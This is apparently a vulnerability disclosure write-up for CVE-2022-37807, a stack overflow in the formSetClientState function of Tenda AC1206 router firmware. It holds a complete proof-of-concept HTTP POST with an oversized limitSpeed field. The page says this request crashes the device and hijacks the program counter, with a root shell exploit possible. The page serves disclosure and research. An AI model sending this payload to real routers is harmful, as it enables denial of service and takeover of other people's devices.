Headline
CVE-2022-37807: vuln/Tenda/AC1206/10 at main · Darry-lang1/vuln
Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the function formSetClientState.
Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview
- Manufacturer’s website information：https://www.tenda.com.cn
- Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html
Product Information
Tenda AC1206 V15.03.06.23, the latest version of simulation overview：
Vulnerability details
The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the formSetClientState function. An attacker can obtain a stable root shell through a carefully constructed payload.
In the formSetClientState function,the v3 (the value of limitEn) ,the dev_id (the value of deviceId),the ul_speed (the value of limitSpeedUp) and the dl_speed (the value of limitSpeed) are formatted with the sprintf function, spliced with %d;%s;%s;%s strings, and saved to buff. It is not secure, as long as the size of the data we enter is larger than the size of buff, it will cause a stack overflow.
Recurring vulnerabilities and POC
In order to reproduce the vulnerability, the following steps can be followed:
Boot the firmware by qemu-system or other ways (real machine)
Attack with the following POC attacks
POST /goform/SetClientState HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; Content-Length: 336 Origin: http://192.168.0.1 DNT: 1 Connection: close Referer: http://192.168.0.1/index.html Cookie: ecos_pw=eee:language=cn
limitEn=1&deviceId=a&limitSpeedUp=a&limitSpeed=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .
As shown in the figure above, we can hijack PC registers.
Finally, you also can write exp to get a stable root shell.